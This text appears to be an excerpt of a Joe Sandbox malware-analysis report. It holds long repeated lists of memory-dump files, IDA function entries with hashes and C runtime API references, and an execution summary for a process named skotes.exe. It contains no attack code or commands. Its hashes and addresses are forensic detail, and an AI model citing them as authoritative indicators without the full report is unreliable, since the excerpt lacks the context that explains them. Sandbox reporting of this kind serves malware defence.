Associated: 00000000.00000002.2103332650.0000000000807000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103355555.0000000000808000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103383895.000000000080C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103410741.000000000080D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103441104.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103467704.0000000000815000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103492754.0000000000819000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103522681.0000000000836000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103543197.0000000000838000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103543197.0000000000854000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103605991.000000000086C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103628540.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103652255.0000000000882000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103674874.0000000000883000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103701156.0000000000884000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103723043.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103744910.000000000088B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103769954.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103791722.000000000089B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: a0a75a808fbdf6e90e1ac48a4560bd0e40b19296450c69bc36a96e413c9e8552
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: B7E08C32921228EBCB14DB98C9089CAFBECFB89B00B65049AF501D3150D2B0EE00C7D0

Function 005BCBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 005BCC66

Strings

v[, xrefs: 005BCBE1

Memory Dump Source

Source File: 00000000.00000002.2099186851.0000000000581000.00000040.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.2099160667.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099186851.00000000005E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099465933.00000000005E9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099521599.00000000005EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099656918.00000000005F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102009900.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102045189.0000000000751000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102267492.0000000000764000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102267492.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102394838.000000000077A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102427965.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102462901.0000000000785000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102488196.0000000000787000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102554424.0000000000788000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102585434.0000000000789000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102608470.000000000078A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102648996.000000000078C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102731333.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102760631.000000000079E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102789745.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102821472.00000000007A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102851276.00000000007A4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102875894.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102900646.00000000007A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102923396.00000000007AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102945245.00000000007AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102998144.00000000007B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103027228.00000000007CE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103057092.00000000007D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103081638.00000000007DD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103108486.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103138296.00000000007DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103163703.00000000007E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103191088.00000000007F2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103222170.00000000007F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103251455.0000000000801000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103277924.0000000000803000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103301411.0000000000804000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103332650.0000000000807000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103355555.0000000000808000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103383895.000000000080C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103410741.000000000080D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103441104.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103467704.0000000000815000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103492754.0000000000819000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103522681.0000000000836000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103543197.0000000000838000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103543197.0000000000854000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103605991.000000000086C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103628540.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103652255.0000000000882000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103674874.0000000000883000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103701156.0000000000884000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103723043.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103744910.000000000088B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103769954.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103791722.000000000089B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_file.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: v[
API String ID: 3213747228-1642971792
Opcode ID: 50646cb43b7217affa873159b33a8ceb5ad87b323bf0650c56aca3f8e12e7eb4
Instruction ID: 3433da76dad445cabed3b6636cefddd1e37a3d9e17ec0213163c639881a024cc
Opcode Fuzzy Hash: 50646cb43b7217affa873159b33a8ceb5ad87b323bf0650c56aca3f8e12e7eb4
Instruction Fuzzy Hash: 74B116329046869FDB16CF68C881BFEBFE5FF95340F14416AE855EB242D634AD01CB68

Function 00582EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00582F5F
__Mtx_unlock.LIBCPMT ref: 00582FCC
__Cnd_broadcast.LIBCPMT ref: 00582FE3
__Mtx_unlock.LIBCPMT ref: 005830F5
__Mtx_unlock.LIBCPMT ref: 0058319B

Memory Dump Source

Source File: 00000000.00000002.2099186851.0000000000581000.00000040.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.2099160667.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099186851.00000000005E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099465933.00000000005E9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099521599.00000000005EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099656918.00000000005F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102009900.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102045189.0000000000751000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102267492.0000000000764000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102267492.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102394838.000000000077A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102427965.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102462901.0000000000785000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102488196.0000000000787000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102554424.0000000000788000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102585434.0000000000789000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102608470.000000000078A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102648996.000000000078C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102731333.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102760631.000000000079E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102789745.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102821472.00000000007A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102851276.00000000007A4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102875894.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102900646.00000000007A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102923396.00000000007AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102945245.00000000007AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102998144.00000000007B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103027228.00000000007CE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103057092.00000000007D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103081638.00000000007DD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103108486.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103138296.00000000007DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103163703.00000000007E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103191088.00000000007F2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103222170.00000000007F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103251455.0000000000801000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103277924.0000000000803000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103301411.0000000000804000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103332650.0000000000807000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103355555.0000000000808000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103383895.000000000080C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103410741.000000000080D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103441104.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103467704.0000000000815000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103492754.0000000000819000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103522681.0000000000836000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103543197.0000000000838000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103543197.0000000000854000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103605991.000000000086C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103628540.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103652255.0000000000882000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103674874.0000000000883000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103701156.0000000000884000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103723043.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103744910.000000000088B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103769954.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103791722.000000000089B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_file.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: b09f2c18d26ddd1e4c277b4186f78a62186157e3fe9582c29e393b4f98b093dc
Instruction ID: 78c57e5eb25970dae8b1c78b39867d58f9d4f7b25aa51e1e4f7e091649cf3a13
Opcode Fuzzy Hash: b09f2c18d26ddd1e4c277b4186f78a62186157e3fe9582c29e393b4f98b093dc
Instruction Fuzzy Hash: 1AA1CF70A01216DFEF10EF64C94976ABFB8FF55B10F048529E815E7281EB35EA04CB91

Function 0059BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0059BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0059BBE4
_xtime_get.LIBCPMT ref: 0059BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0059BC13

Memory Dump Source

Source File: 00000000.00000002.2099186851.0000000000581000.00000040.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.2099160667.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099186851.00000000005E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099465933.00000000005E9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099521599.00000000005EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099656918.00000000005F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102009900.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102045189.0000000000751000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102267492.0000000000764000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102267492.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102394838.000000000077A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102427965.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102462901.0000000000785000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102488196.0000000000787000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102554424.0000000000788000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102585434.0000000000789000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102608470.000000000078A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102648996.000000000078C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102731333.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102760631.000000000079E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102789745.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102821472.00000000007A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102851276.00000000007A4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102875894.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102900646.00000000007A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102923396.00000000007AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102945245.00000000007AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102998144.00000000007B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103027228.00000000007CE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103057092.00000000007D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103081638.00000000007DD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103108486.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103138296.00000000007DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103163703.00000000007E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103191088.00000000007F2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103222170.00000000007F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103251455.0000000000801000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103277924.0000000000803000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103301411.0000000000804000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103332650.0000000000807000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103355555.0000000000808000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103383895.000000000080C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103410741.000000000080D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103441104.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103467704.0000000000815000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103492754.0000000000819000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103522681.0000000000836000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103543197.0000000000838000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103543197.0000000000854000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103605991.000000000086C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103628540.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103652255.0000000000882000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103674874.0000000000883000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103701156.0000000000884000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103723043.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103744910.000000000088B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103769954.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103791722.000000000089B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_file.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: f455130139991f266e7e3e17c46dc60e14b3aebfb2d3df6e4fc92bcd5270ba19
Instruction ID: 5e7398870baa7d18d3a7d3205a44e47ff3bef0a21da16e35ddbbe253f90ecd91
Opcode Fuzzy Hash: f455130139991f266e7e3e17c46dc60e14b3aebfb2d3df6e4fc92bcd5270ba19
Instruction Fuzzy Hash: 21212F75A0111AAFEF00EFA8DD859BEBFB9FF48710F100016F501A7291DB349D019BA0

Function 005BF35F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 005BF3A3

Strings

8"^, xrefs: 005BF44B
`'^, xrefs: 005BF375

Memory Dump Source

Source File: 00000000.00000002.2099186851.0000000000581000.00000040.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.2099160667.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099186851.00000000005E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099465933.00000000005E9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099521599.00000000005EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099656918.00000000005F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102009900.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102045189.0000000000751000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102267492.0000000000764000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102267492.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102394838.000000000077A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102427965.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102462901.0000000000785000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102488196.0000000000787000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102554424.0000000000788000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102585434.0000000000789000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102608470.000000000078A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102648996.000000000078C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102731333.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102760631.000000000079E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102789745.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102821472.00000000007A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102851276.00000000007A4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102875894.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102900646.00000000007A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102923396.00000000007AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102945245.00000000007AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102998144.00000000007B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103027228.00000000007CE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103057092.00000000007D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103081638.00000000007DD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103108486.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103138296.00000000007DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103163703.00000000007E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103191088.00000000007F2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103222170.00000000007F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103251455.0000000000801000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103277924.0000000000803000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103301411.0000000000804000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103332650.0000000000807000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103355555.0000000000808000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103383895.000000000080C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103410741.000000000080D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103441104.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103467704.0000000000815000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103492754.0000000000819000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103522681.0000000000836000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103543197.0000000000838000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103543197.0000000000854000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103605991.000000000086C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103628540.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103652255.0000000000882000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103674874.0000000000883000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103701156.0000000000884000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103723043.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103744910.000000000088B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103769954.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103791722.000000000089B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_file.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"^$`'^
API String ID: 3903695350-4197899267
Opcode ID: 7e9860d80bee293e55b48beea0f32d75c7defa10932453c78afe225dc45ac4cb
Instruction ID: 4fff06e30b5cd61cfda3e119cb21ac84898f5a5891263d3ceedf901fbd865f37
Opcode Fuzzy Hash: 7e9860d80bee293e55b48beea0f32d75c7defa10932453c78afe225dc45ac4cb
Instruction Fuzzy Hash: C0312831600606EFEB21AA39DC49BDBBBE8FF80356F144829E459D7595DE71BC808B21

Analysis Process: skotes.exePID: 6004, Parent PID: 1068COMMON

Execution Graph

Execution Coverage:	1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1992
Total number of Limit Nodes:	9

Executed Functions

